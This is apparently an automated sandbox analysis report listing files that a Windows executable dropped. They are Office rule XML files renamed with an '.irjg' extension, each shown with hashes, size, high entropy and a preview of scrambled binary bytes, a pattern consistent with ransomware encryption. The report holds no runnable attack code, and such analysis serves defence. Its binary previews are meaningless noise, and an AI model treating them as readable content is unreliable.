SSDEEP:	12:nSsF1ruCK/dTIrLPdCFDtnqwrjss/cprpPWftM9M2cii9a:ECKOnxwrjt6dW1M9pbD
MD5:	28BBD5D3AAA10BC4EB3CFE7CDBCADAED
SHA1:	695FB1E5BFAE7AD2F7081C96F53EA4A82BFB2CF2
SHA-256:	3311A794CEFC31D261B69497D09B8E59E9520A6A452796578EE8B488E93CFC32
SHA-512:	C152ECB0923952423BC842770124FAF5C0AA225AA889D455CF6DDC1F9B3C12A2CE344A4A601283F46901E1B109A16A7C4A9CA112F75425AAB1D79B455CC52229
Malicious:	false
Preview:	<?xml...b.yr,.\|.......V3...A.4.....M..`...w.......5...:.w@x..b..).4jp.?...g.1=.....B..N.\|..u.......\w..;......V.X..)b?x.It..9...A.AM..V......V\_._....9[..L.[..B...{......M..>6&TB.fd.v..7b..g..w.S!...{.L......=.T... &neXa..Q.g..@t.":.......;.sA.!W..0F...j.....J'FCY..F......g.%X)-.I..m..M.=k...b...(D~.n;a..C.k.d..!...:$~.J+..G.S..9\.U....RS.S.u..u..Qw..u.b..L{?.9....4v..]L.p,J.j..K..'bTp 8......,I...Y....g...E!s9x..kz}k....~W.+H.\r...t.).p.w.y....\|....r......).........vg7O0.<q....j.[b...Hc.'y[....i.."h.PW......5..\0..p.....m./.NS.0..-..6..B..o.4.........)]Qs.(....<..=.$.;..,=..{i.c"2..'U.q.n. .Guy......ex1..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170061v5.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.835497708451939
Encrypted:	false
SSDEEP:	24:3E9Des2ftJn7380b5N/VK8BYk5e7gSYfjomgiuD8DmY3jwWWs+atYxh9pbD:3E9D0Rb/rBz5hhox7PW9+HJD
MD5:	382DF5397214CFE3C27873D778ABB441
SHA1:	8662C79AE0A7C8941F829B00C7AA75AA33C5221D
SHA-256:	FB201F18055BF5A5A8F26ECA696C4027D0B13EF045812B349D39DBFD9E7AA612
SHA-512:	835803EA6520975951145DC4AA7E70A5A3B2AD415FD4F82CDFACB23F9474A51FE12DD77D0C332B18639D7E56D455A7587349E6909042D725FC6C087EC9F1BB94
Malicious:	false
Preview:	<?xml......+......f.8...{.....m.$......X.J.M..R..z...+.K]..p.;..(.........49>n..T..K.E..J._.L.W...N.e....Z.,...\<v....t."s\|5............D..c..b..Uk......x&b=.......c...%W...p.C..a...@.....M.U...Du-..8.[....he..^..^....o......:x.....BW.....S...j(!.=....Rm.b.a.......Z..P.....q6S....Z=..A.:g...V.,..K..LhetU/...F.....uX.'....!H<....z1..E....^..;.+.UP.....@.C.jo....#....(.e..4.HC.G3...e..)./...e^.._..d....bK.X.....m.QCFv..v)..@...uF.....a.-..d..QJ.'...#....#..>..y,x.k.....@.x.n"..Q.....^~{...+y..V..q.%...5.....).L!.5_d.,..6.......z.c.}..C..A...k..D..r..\|...9.)...y%P-...1A.@..).p.is.t.r...B..v..Q..])..?....d..1<..w.2<....:...>{pUY....1.E.;.cP.K"....7........gm..?.Oo..A....&....f...@...]t......PV.+s..3...)q.l......O.~..`.X.X..B....x...i....?....R}.JgL.7.#..\.........W.t.A..<.[9[.'T.$M.}.......V;.*~...?..X.-B...:..n...6.(8.F?tu...a.R...M..n/..C.....#...A$)!..,_.^.\|.....X..3.9......L9.........yw.H.x.)...})....f.0v...8....X#e.%.......T

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170065v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.679547937019209
Encrypted:	false
SSDEEP:	12:yQ6nT/zsXbzHj83P/UECv9908e1O/hrKixUn5nwEeEnWARMbz1qj0C/69CzM8C9h:yZvsXbbj83ED9a8e1O/hOPnwEepD12e1
MD5:	809B313B8C7B6964DF0E07FA3F2A7964
SHA1:	8B5D5FE58D9B6BD2D4F4C8350E6048503C61259D
SHA-256:	F4F7260DE42F1555754568AFE6FFD0BB15F743E5C308D7FF7C8098AEECB81097
SHA-512:	E77FF92F5AF425F40A6E0E351615FB5C7918EEE2EF6F2B1B1F10D34D877706D229697BB7D8DD399D97D793187E04690DD01122354C996064555F38B8825B5AB5
Malicious:	false
Preview:	<?xml.Y..UA.v...\..S.$.rBk.v..?k...].b'...z....#...p .3...Y..._...~...-.....e..K..>......Pp%.KD.&.....(.,.AS0....d..~.b.C......HC..>G/W..j.o.e...>.znG}.........3k.Q...!n..P....:f.........e.~,.t....%&.T(.=..#..._TC...X.......'....0.. ...A..,^&.m...d.....t.J........l+.eY.....=..n...mG..(...d...jd>...x.. c/T..UZ...,t..).....5...R}\.....6{....+z...\|<"...ws!5;.9.cH.^B.....1..m..\|.,w\|.....$....d!`..m...4.:..!..Z.r.....:G.I.......9..p/F... )6...../u...a>....;..x.)..9.+..VP.^>..+....(...< ....H.y...V.N9>X..l.K"..\...t...._...mX#....#.-.....B\|m...H.4..j..j.!mY........}y.,.@C}...ae.7..Lfx.h.....bcj...../..I.?_.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170068v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.723625587186995
Encrypted:	false
SSDEEP:	12:EsYy/f/1Sb4TF5z+ADxLFvV2nVpyyRSuQkk6BwKx4SeB52vb9M2cii9a:2tbWz+ADBanPmkkN24BI9pbD
MD5:	D7F7166A8DDE99E90924A888CA97A098
SHA1:	C2A2DB4893A9C0719537EB20891A786E03E0F99E
SHA-256:	93D3EF0ACB119E4EEC7F24C95057555C83F67F396FEA9424B4D49427F9DA1919
SHA-512:	79E96DD6D39432DC160CFA0EC2D55D3B0281FC4B85B8E58FD2E76E0CBB98768C5A58EA106C08A594B9F00ADE18E6C346BBFFCD303A86193FBA03584DC2997F1D
Malicious:	false
Preview:	<?xml...6.......m...>..w....J.uu..cP...w"...].....b..I.nH.=..W.....n.T.%..nV.Ye..1H...k..]+..51$.A..G......H..\|7.e%..x...@.<.._....nQ^.d..C.L.......(.H.k.....v..W.....].+W.qAL4,..]...r.F.5M..../I.@).7...u..j..e..N.din.....L.A,$..../H...-..y.I...r....o.[.....0 0..[..................r....d(..1.fV.7\|.w..d.`Z.:..uI.;....).8.....{...#.'H96.e..H....b.gi....xI.Z....T..~U...'X..'.$..aM..6Ac...$I~.D*...i;B.4....m....W.I..-..#F..Rjdlf....t.J@z.......$........;p..3.:.+.6.........g.V...B._.\.[.R...J..........8.f.....P../....o.....x7......#.^U=!8.....r.}.;f"W1.Y$..%$.(/..I.IV..Z..y...........s..0-.0S.(S.1...d{..j..R.iN.J.q.......D.....QT..u.;...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170069v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.775561755249976
Encrypted:	false
SSDEEP:	24:XLXIXfw/5cFG7NXcUeisSze/BIbGJsx9pbD:XL4XI5tdJZznbLbJD
MD5:	6AA503EC83D28F1A1DB38ACC4C4AB375
SHA1:	1467CE6B3D44164DD46E60B2FA31C08554507D72
SHA-256:	3E1E14C797677831A93CD40ADD140BED70524AC5324547A5CC133A414265BFED
SHA-512:	23E6EB3FD8693E749AA7FB2E1574283BF66150006A827805326573B8E8F03C10E49E715CC48F44774C5C0BDA4ABA9B1C2F2CC2999B7AF849C33CA08D1EBD02D0
Malicious:	false
Preview:	<?xmla..7....(.}.....4.f..............n.. .2...e.b.....^.....m......o8.h.Z]..~g..w..c.~..hP.y.2O$..o^../....JD.........L.n.t.U.G.....Z.m....._.VhFS.....?......~v.y.....n.8m(Jxb.......F..=1w.mc.-{..ja.....6..I;..$.....AC.g(d....X.b..ZjF.r..N.....\kc...g.;......l.r....;=...5.].^....J .'u.Z8....v.Kx...R..#...A........2....@.g+.....x..@...m........qAfTx....d`c.V.......hf..+..g..r...g....3o.3v"FI.u.O.yP.-C?.>.....q%F.U....p.br...Z..h..`'..5...%O9>.t.....E.mG.....R....@.[.~.i.V:......T..R<.(..)]8...O...^..Sf.........[P.....a.....!..NkX.,Kj).o............B...`..s'.F...Q.....~V.]..A.r.h..`.'Sh...5.Yf..R.'/.A.+zU...Y...yy....p.Z.........H..L..m..0.W....O......+QI.e....u....Vn.......X...'.:...<U1+B.,v.6..%.-....6...i(e...W...1...(..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170070v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.721525086384831
Encrypted:	false
SSDEEP:	24:eSdm6fTSa6coWk/gG43GKyFCajf8THfY9p9pbD:eSdNTSxlWko1uEkSfYdJD
MD5:	0E189F074639C6BE6FA123F8CD36F980
SHA1:	A02A040DF83D56FA1884776050F5E3D08775EB01
SHA-256:	E1FC6D4DC19116F408446A5DBDA0D6B2CB71B553FACAC2253BEF7E2DB8AB9482
SHA-512:	40F0AB5ED1DE5540E522241DD425157E44465628D084E22C8229551D9FDF0D4E10B94C5047368C878FC04F1034A013C72F6A6E25764711B9301A519DD75025FE
Malicious:	false
Preview:	<?xml.Zb>.r8.U.\t..F.G..3\|...@N.M.\%T...t...xq.#..=..,q..)v.."..Mi.-~......5...L6J&5.?.(.\...-..#e..:.o..R.m..y..n...V.B.(h.g.sy.m....G.0...K..e.F[X.U\|" .:...3............y...].....:...2.u.$V......8.J+<U.(.~..3W.S.......,F... .@.}...:.....M%...X.V.x[B.G.....5..w..P. .4.xa...;.J.........+ .j.......5.%`[....3LX._.-..J&..j...$v/.CJ..vj......d.~.....y.d....W.i..ufS.4.fq...e.W....&..z...b......mb.....4.p...W.....s.G{....%R0.....4..E..7...F...RD.I.z.DH2_m.)...8....U....$1I7..Y...I...aK..9..N...;..l...~....0.4.....B R.._.. ^.2t.43....1.8..F..X..9....F{.M...GB.a...V.f.#3...."...^S_JF.I..*.2....H!w7...l...D.p.T..e....$jy...e............0.U.i`$..a.&.G..c]...j^.Tv2?.......\|..Em2-..&S....B.........W.^at.5...7i..~.M....c..^\..%.`..~..B...r....-q.&e!........d]&o.K.e...gxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170071v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.77601870123496
Encrypted:	false
SSDEEP:	24:61hByymwlCw8OleHxuso+5EET7V8S/WING4PUH9pbD:UNNlW3ovETqS+INxQJD
MD5:	CDC0D1A93165F2A66CF47831DDEF4F33
SHA1:	17248F4C656BB51FD03E13714F9DAD6AE275F47D
SHA-256:	E282C0DAB419A712E2E15A27726525FD1C06C4A36460D2203EE5FCE7D26D46B9
SHA-512:	24E698965B4F7EA7E6E516DC95F770D600725028D2E15EFF44454B59BCB648C1A3A5C9AF6F0D8782848981356EB8431F1BCD0E214F00B9FCAA3A1E4549E1302F
Malicious:	false
Preview:	<?xmldC5'...q.t.w8...IU..F....M\......uI.U!.CO...y..,W!H..\...g...v..0\..8E......#......vf}.J.F...\|A...k..>.<R.+!T...-BC_.K.].ipD.i".DEor..~...=.5.~7<.K.;..] \....+9.e.H.....>8.....(.YX....7.!.a...(..-a.Ki.,qsf...%.H...R.E.%\|YU..1....=..j..'2..D.....x.}.($.....@:...o.......B..d..........PwD.E......._..k..1^!CL.3"..F6.".3)..W...E.?.1..l.V.I....}..g......3FJ...\|...W..#[5.D.F...).!R1./.....z7.3..XW.hq.=..r.MA....v0-e..W..nQ.n(]...K.`rB..2~..m......5n.@_....6K...:.3s.`{..L.4Z..W.Tt...$.......A.Zg=....W.s.?{.s....Z(jJl....h..Dn..m..@b.l$..@.$r..F...Q...>n.v.............q..(...x..)...i......o.N!.J.t.+.*.,~O......X.q...-...F..NK.+.g[.B.2...)...A...8\|........{..n..~w.I^DC..U.2_p.:..C..y?psA...^;.8.t..\.z..f.^...3.`..Y'5.XE#.=Xo..(E...U"...O..........c..{4.O.o...s....z.{.M..?..b.....m.L...n..........D..0Y_.t$..4.6..[.R:.;.G...".0....&..A....3....I.X.] .%z...\..pc+..o.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170072v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.65884246067301
Encrypted:	false
SSDEEP:	12:ImmUH/eteoFPRl/p0p3wfww5GiA7Wu/TEAmAJVgnpNUGIYmyNMQg6wwIjM9M2ciD:WmqrDS1mW0pNwYmyNMQgcmM9pbD
MD5:	645D18B940E420B84BE34F7290F52EA3
SHA1:	13F50C59AB2EC89E7AFCB923019F7C5A55F07D65
SHA-256:	42FFDCCAEA1B773AE7C1B3565827D67B0F5EB7CDF8AD2904677C134178B709FC
SHA-512:	009C322E3D051A7715D4BDD25A4B7F3740D2ED27F8C81D9B8DBF9BABEFF369B32F71A803A50C8D69CD6E70681C4A4A0F0220C99C19D2DC45FA3CBD0AF5281A32
Malicious:	false
Preview:	<?xml<.......7n...1.Md..a.i....K?..Q{....O=..P$7E.....K.+.m.&9A..x...d!.....b.7..6..1.g<.L[...4.......k^.-j~.....&:.<..ox.{.;r.G..0.....7&...D...wE;..l.Z6~........TI..Q....?.(.J.r.KI+&W..1.......bR.x.W.3.;...V....i.aQ.HN.L.M... ......@4....F ........I........~....oa.t.M....[a..r.........{.!E.I...#.}...E>'.N..*.R."q...(..=..e^...M..dZk...b.bi....(q..X..n.h3...c9.$.t.....zQQ)..p.9,.S7.<..h6....$J..(.....$.e..m..0g0]..a...3c....f~.w.~$.A ...7..'.6L.....;..O.Z[..AG..p..3;...FX....F..SXF#t....u.'f0.v....g.L..Of1....>T.0.L.....r.....i7.xn.y.\|-.T..p....G..(.O...R$..h\..:.5........wk..)b\|iG.2.......r.5....d...fxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170073v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	931
Entropy (8bit):	7.751871232554647
Encrypted:	false
SSDEEP:	12:WWOgJZfZklG4Mp7MJSUth28AB05hgZxuOzVBG7zxSaLb2XmfTd/IHm8vCepOBUpV:WUZhO1JSk88Ncx0P4ARItp1ZEPs9pbD
MD5:	94AEF65954C9B179B87515738BE68BF9
SHA1:	E563F6B1F82843FE58ACF3DEF49BF11A89C79888
SHA-256:	8D547AD582FFF6043012C7BCF1FF374FF316C81219CD5BCC8CE33300131F85DD
SHA-512:	0721EB63E542BACB6ABADF9670D62A992FAAE9225BCA1774127B9ED7698E8EF64697176448FDD453984B770E7BF69F7837F462B48DBF60DCFDF42F3CEDD8F99F
Malicious:	false
Preview:	<?xmlp2.x..R..Xp...$...p{.<.rIT?X$'........./..QU...Db..f'......j^.f.....W1.iJ...b...P...s5,.k..u^m..y.....K....U...o.%....T.>.)...Ib.5A ..[j...}..".e......g..?]@.8=:.)o.....ahQ....... .n.-....I.G...R'S..(......E@u..o.YI.m.1./..W.(.. .%......O#.,]....P<.........@.)q...%t.....5CA.....4!.L....a.PC..Wv...6...1...R.%..~.B.dO.......=W.aoE.M....D....}a ..Cz..w.C.%y.Y...<..J...Z..hK./.^y..b<..B.K.E.f.@(...4j2C4..-h.:Jd..V.w.{?]....L..F..$5:...i..V.h..... ..$]m-H.c.....fxh:.+..[^n..../=U.........?...<.......;k.l....o93.v.j...\...."..q..G.x.%F(..t..5...>Xx..Lm%...nR...i..9l.. X.q....Le..Ac.......}`.8.}.I..m..Ja..S.[a..Ug.{.k.v[.'..;.t.q.:"z.....{TWi..?.%E..d.R...(...Lv8..L...xW.nej.t..M...u..c....zB...H.\18....$...".XQ..X..... ..{<?.IjX....,m.`O.8..w..\gz*.....d...tE.p...]s..r......?....V..]{.T...y....SxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170074v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.755307573525646
Encrypted:	false
SSDEEP:	24:ithcfX4yHk1+xo3jRiXSpmzfpvs6N5ieQhGbC9pbD:itixKtzRiCpmj7ieE8EJD
MD5:	7649B3C9D403365714BF50050E337F17
SHA1:	C152C5DD6870C28B9C991544F75B0ED5906D5C70
SHA-256:	BF48FDC1235946ED566E0165ABB63CFB8E6F214D0AAB65B1E1B270DC1B06435C
SHA-512:	F03B6577115D6AE6E558128A9734757C9F175666705650ECEC0FFCFDF30B5924454D73E5EA9247B5444C777FFDC729298574306DEFAF9320FFD0A5EBFF9864E8
Malicious:	false
Preview:	<?xmlb..1....R..H...jI....td.M.^.z.....M....EA.]......C.NNw...;N....x..60.......@fW....3x...,.:D..b...yq....{gZ.b?h...F.....s6...1"....MT...4.R..j7..T..........<..K...S.B.z.w.93q..x... ....RH....^...%.7\|..+.2G_.m&.H...C...k:.0.....x.._h..u.$.'KHk......I!9.T.~P..;..9(..f.(Y5.Q-.....DrWE......2..t...:BB..v..h.....U...l..z..W..0 t.;:....20f......,...{Q.ev.k...`w.O.{XWfN.0..{.K4.X.s .'Yf.c..../^$.~..q.`.I.Q..?..&..t.m.(...`b..v$..5.3OS.?qU......Pef~.Ny..B/..Ed....3...:....k.~X..L@cM,:H>v.7!.j...z...]5..b.),/..C.s....t...'z...x...,C....nV0..}.l,..h.(.L~..+TO~.T;...I.l...C....._.t.0...1=.....:....,p...O_...!.]W.."....c..#.Je.n.Y.i.p....%.q....f........^..x..h......v...SSZ.6....Z...I...i......$..G..'`.-.H.H.!..U`...o..i_.CE.z..Cn..x.4grz..=&.....,..8J.:...?.p ...y3...83.././..K*.g..#f.,xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170075v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	7.818779770223424
Encrypted:	false
SSDEEP:	24:9r6bPqHuAdwpyzQbCf24LF5xALpK4YL9bS5TaLx82V23GGbuV9pbD:V6beu/yzQWf2ObxGI7hoTv2VyGGgJD
MD5:	77BE986471CF0AFCB49189394E4C5DE9
SHA1:	5949C4B8DAB64E3C3C4FCB29517171F0ED4955B9
SHA-256:	09C2B3CC9C101ABBCA95027F1D9C4AEC2A7E93E8E8B9E1902F029366D535B9D0
SHA-512:	5826EC1EF617FEA47FA6D55EED158EC1041772635410B5240DED3B7A77421B0D35F89179E41F1910B223349C56A4DE698883455B24F63B4E69E6B1A4EB9DBA37
Malicious:	false
Preview:	<?xml\|...D(a"..BW.A..\|-~v4`..o'7)..;e.W..B....)..... .L..=.....y....7P...&..GC.....BJW...\|.......X...Tr.DM.^H...'.)...t..B...<..5n)OA4.4.wJ.#............#aS...!..Z.:.Y...Y8.f...^zD(.G^.v.4x. ...B.7....Z].,.[...S...B..0.V(2+..T..7.D....4....u...2kW.g....6....F8..t...2%......F.N#..1.G...%se.A.%b..2..&....`&.Z.E.k....,t........[L.Z1....1.O....{.......E?...4.4.m+1,1.i. .P."..9..C........;5.x.^bC...x.........?..L..7..=d...2.R.J....kQ..cS4.wV;K(O.bc.....&rSA....~'.(..n~..0sR.?vP@..CN..}......5.....L 9q.a...t....1..Rsxn..UM/.o...`...n;.u."%Q.j.?.....rJ.....R...{T.u.3..!..i.%90i&..4"...n0=H..R A?.......EO3..V...F<L......4..7......].~.B..`.wJb\|......."_TI.S....T.0nM.p....It+.sp.c...3.l."e.!...~.....G..'..;...3.H..6l)U.wO.9.S-~.C......0l....V..i...i.WS);.e.....4.+........,....A..W...y....=.,."W&..E=<.B.1.........0f.\`..c..I@...o\|.+h$..1i.......ov...;._..e...tY.[;4G24-.L.....dr..~.BKq...cp...&m?.....'...}.G..-.$}.\|[QKFr..Vo..Z.J.{..B..N...yX....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170076v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.644221427356822
Encrypted:	false
SSDEEP:	12:/GKbIlxapZlT915Bq5sWfhmA73caCbGTwCvC51fdkab4D8zo3vds2GfPD9M2ciik:ROaVJBzbgwuC51f2abmlsN9pbD
MD5:	FC150F9CFE4D6BF29BF5BB278299259B
SHA1:	FB4C3EE68EE6B95122B0A6081C26894D83E17BE3
SHA-256:	BB9254D269F769C16309948A96242B2CA7AA0F21023C6B33DCBFDA3C6DD893B0
SHA-512:	98F02B5337EC2A7370381095999EA827FBBD483A039B8DA67D2A04DCB4CAEDDF12AE506751C0245278AC9F98A94D74F7509F1963E4D9DD6A72B3D012EBA87842
Malicious:	false
Preview:	<?xml.__....>."y.`n{k.....hB.-.v./c.i`...dv.~1...1.YX.Q.q.b...tS.?4.&a.~..y.z......%..i.(B...J...S.mZ..!.....k...co#....NF4\|(.F.V...N...-3........>o.\..ia...G....j%......m...:(......X.$H..Yo..{...F.R1'I..!.z.R...J....1c..E!j.q..B......k..\B..@-........e..c.S}!....1......P..(....!..GgX.U...?.~..cj.Z...).MA.(..@R5q..(A\|......9..wc ........q..m..eGo....G.0..: .....(.P......&".....Jw...q....I+K.....4..(. ..d.%.u.....\..WH....pa..Is.:xj..4...A.:W..?.Y{6QO....J.Em..Y.%.^.....X.".0..P....zs#>...m.4.......'a9S.>..g...G........H..r7B/....Iz.sP(.B&.........X1..z:t[iE......J.J.%....U=/.%...i.c.T.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170077v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.712786275434798
Encrypted:	false
SSDEEP:	12:Xt1Ijd/9VedcuuBZKJ/vR4vH9kwPoAtB3W/OrP5Zdun0rai5ApVPm2ksLPWGf39h:8jdCcugKJB+d1ddBZ7raiK/PmBsLPWG/
MD5:	9136972B604AF07D0B1A2B534A7F4D69
SHA1:	DA448F595C9DC713F4A61A92C63E4F77649BF53E
SHA-256:	53FF935AF45CD1B558A2E36D219E55188C831D3FB779D3A97A340D2B8B5E170D
SHA-512:	620FF01CB5E2755369A608F4E1BEA380F8A77AC3C1950076E3793C73D634F518DE50312596F84123F30106A031047355ACFB1453FB1A396F446F2823A341F05C
Malicious:	false
Preview:	<?xmlo....I.]`g;.. .CC.[...+..De....3......c.{..A...A0.I..jJ/bX....".D..}.#.B......ZB.....GUB...>=....7.90.. ......B@"m.......E..8.....$$.n....t>A...v<D}..N..b.M.k.<..y..T.....C...)..a^_.$..=.........n....h}wd^\.p...P.%..jwEK...m..<._..qQ-.....^3.-d......f.......LD..^......Kk.,..C..3.OP......;......>......m.b...3c.\|._..#AN.G...n.c..X..J.......<....k.DH.S8H .d.....\.... /AA...S....j\|..I.2...\|.!%.G....("..z.Q0....."......9 ....,.JF...<...:...X,Or.~.?.o...L.e..].P.?A9.\...OM.:.... .p.6b.2.....75...r.Q..2by..e...H. E...?..........M..lS#.....L...$N......C.<n..-.+...o.I.:..zX{...........T...S.4..';n..x..[".`8xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170078v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	817
Entropy (8bit):	7.70113681832068
Encrypted:	false
SSDEEP:	12:t1vu/Y+Y9mjD1SDUIiBOflRG3BV6NwX1xJVwC5xfHumnrZa2mBlqaGmoMDEkj0gO:Hm/BkgkRuVp7u+5mBHoMzs0fq9pbD
MD5:	6988CAFA282286BD436D579D50F1D7C9
SHA1:	449A41E0398F54670B41778031FEABEF09798096
SHA-256:	BA9D0A4FAC9ABABD3D2917A09C3AD01879A31CC801E34EC72309B784DAA0B0BE
SHA-512:	96558FCE3710BC7648D805B58E1CD1F7472C0592876E02B39CB0C23F0E1D380DFD9764569139A6E66C0FD182DB5B45A44ABA108B0B94B69D2D956671B56560D9
Malicious:	false
Preview:	<?xml....rRi.RP...?...#m(\|.8..[z...4....P..n`.N.p#...x.3.uT.i.%..jl.@...!'.....!..O;T.F..{........2...rANp^.,J.......m..S].L.sbOj_]........c....C....TA...Q3......By4,..H.URm..B.-O_..E..O'm....G...W<C.&.....3....4...Q..b."..v(..l7#.e.-.0K.()_/#...5......c.kc...A.$...`Y.}..=(..y..&v....Y.x.W.......C..z...I.5.VW$Eo....K.........Fis..z.cx.w....a.}..@f...:.D.a.%&2[......]...........\69.pJ#.N.b.......$......hL....2H.x.+...v.<.V.\|.".'.X.h.u..s.....8.i.K.p......1..y.x.Z+y..:.....JE.....\..g..p.M.K...&.%._<,..E..NJ........E.3.,.C..&.8.J.....zH.h/.z........1X..)......g......J....a....5yl...dP...._.V..B&q.Kl........5..<..T_...OYm..>.{.tg...).[......Bn.z...BQj`r..../p.,.gDd......._..!.P.7..0.[tz[@0f..)X..n..9xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170080v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.688925989132865
Encrypted:	false
SSDEEP:	12:ue3MEuQT+zoBdeiRZVGMfR4euREzBI6/I/oOINieYSFeNLU3gRpItVmViHBOMeWz:8Ena4deiNGMeewWBI0IgOOieIZvzItV5
MD5:	F907CCFA5EC9911A075E705A7F686EA7
SHA1:	89A698D496813AF7B39D1ED12BB4E7A37F15502F
SHA-256:	843586A2E2FAF756CE21BC45F4847E56E7C035723AA87CD97DB6A1919E784F65
SHA-512:	D3E14132F3B7732C58D3014ACECB6139EBBD5CBE6104BF1833697CE80C893BCE6DDCA10BFDC4E29105CA4D981B4636B603FAB06BBB314698A5BA1B549BE85B07
Malicious:	false
Preview:	<?xml..4..w.1yf..........aR...[O.R..;4d..#...Mb.#\|t...`.w..0.l.x.{. g..+ .X.i$...W7_J!1.7}.[.....F.x.:hon.>..v.!...#.5e.f.{.NC.........a.42a..j_.....F.:....K.....D.(.s.9...<....1f..Z.-..Ku..Si;.p...a...a..{ea..8.D.F.K./.:.........1.....#..={)"'..y. .,.+#...P>....P....0W.H....`....8.W.".,..-V.{..7@...<...5.W.....4..m.Q\|./b>..,..0....tFR..m...&8....[e>?..w@[._..W.l.C9..8..C..&K.5...cZ...........c.G....+@e.Ju.[H.a%...b....U&Pnx...I...t...R..[B.[.5..FO.4W..y....D...../Vk.X.8.."Jo7.MW..&..G!.)%J..Y. ..H.i.0..,]....ko8.M....yN..............^."..D..F.EOAm.?...3..s@E....7...c?z-..R..f.+\...=vc[,..G..z^xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170081v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	7.730470817906435
Encrypted:	false
SSDEEP:	24:b9c6N1XWMl/w7UyNOpDBY3ToijmsYlffFPfSi2RfytM9pbD:hc63XRl472coijms6Vx2o8JD
MD5:	577519A9AB6BD03AB69146099EF73DAD
SHA1:	B567EF9124E7F7C42D14AE1CBD097556CB7AE27E
SHA-256:	96545993F6B7C231A777F6ECC41EF9BFC7AEC34D0ED072E31C03D08C5105F8D4
